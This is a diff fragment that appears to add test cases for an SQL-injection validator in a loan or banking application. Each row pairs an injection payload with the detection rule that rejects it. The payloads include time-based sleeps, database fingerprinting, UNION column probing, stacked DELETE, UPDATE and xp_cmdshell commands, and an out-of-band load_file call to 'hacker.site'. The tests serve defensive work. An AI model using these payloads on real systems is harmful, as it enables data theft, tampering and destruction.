+ | `) ) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
+ | `))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
+ | `) )))) ))))) ))) )) | 23 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
+ | ") | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
+ | ")) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
+ | "))) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
+ | 1' + sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
+ | 1' and Sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
+ | 1' && sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
+ | 1' \| SLEEP(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
+ | 1' \|\| sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
+ | 1' \|\| pg_sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
+ | abc' && benchmark( 400000 , sha1(1) ) | 17 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
+ | 1' and if(1=1, sleep(15), false) | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
+ | 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A') # | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
+ | ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
+ | ["connection_id()=connection_id()" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
+ | ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
+ | ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
+ | ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
+ | ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
+ | ["current_database()=current_database()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
+ | 1' ORDER by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | 1' ORDER BY 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | 1' ORDER BY 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | 1' group by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | abc' group by 1, 2 -- | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | 1' group by 1, 2, 3 /* | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | 1' Union Select 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | 1' Union Select 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | 1' Union Select 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | 1' Union Select null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | 1' union select null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | 1' UNION SELECT null, null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
+ | checkedOnDate | 23 | |
+ | officeName | 23 | |
+ | resourceId | 23 | |
+ | clientId | 23 | |
+ | processingResult | 23 | |
+ | clientName | 23 | |
+ | maker | 23 | |
+ | subresourceId | 23 | |
+ | checker | 23 | |
+ | savingsAccountNo | 23 | |
+ | loanAccountNo | 23 | |
+ | groupName | 23 | |
+ | entityName | 23 | |
+ | madeOnDate | 23 | |
+ | id | 23 | |
+ | loanId | 23 | |
+ | actionName | 23 | |
+ | select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); | 17 | SQL validation error: invalid SQL statement (detected 'detect-out-of-bands' pattern) |
+ | 1; DELETE FROM products | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
+ | 1; UPDATE members SET password='pwd' WHERE username='admin' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
+ | 1; exec master..xp_cmdshell 'DEL important_file.txt' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
+ | 123 -- | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
+ | ' /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
+ | abc' # | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
+ | 2 ({ | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
+
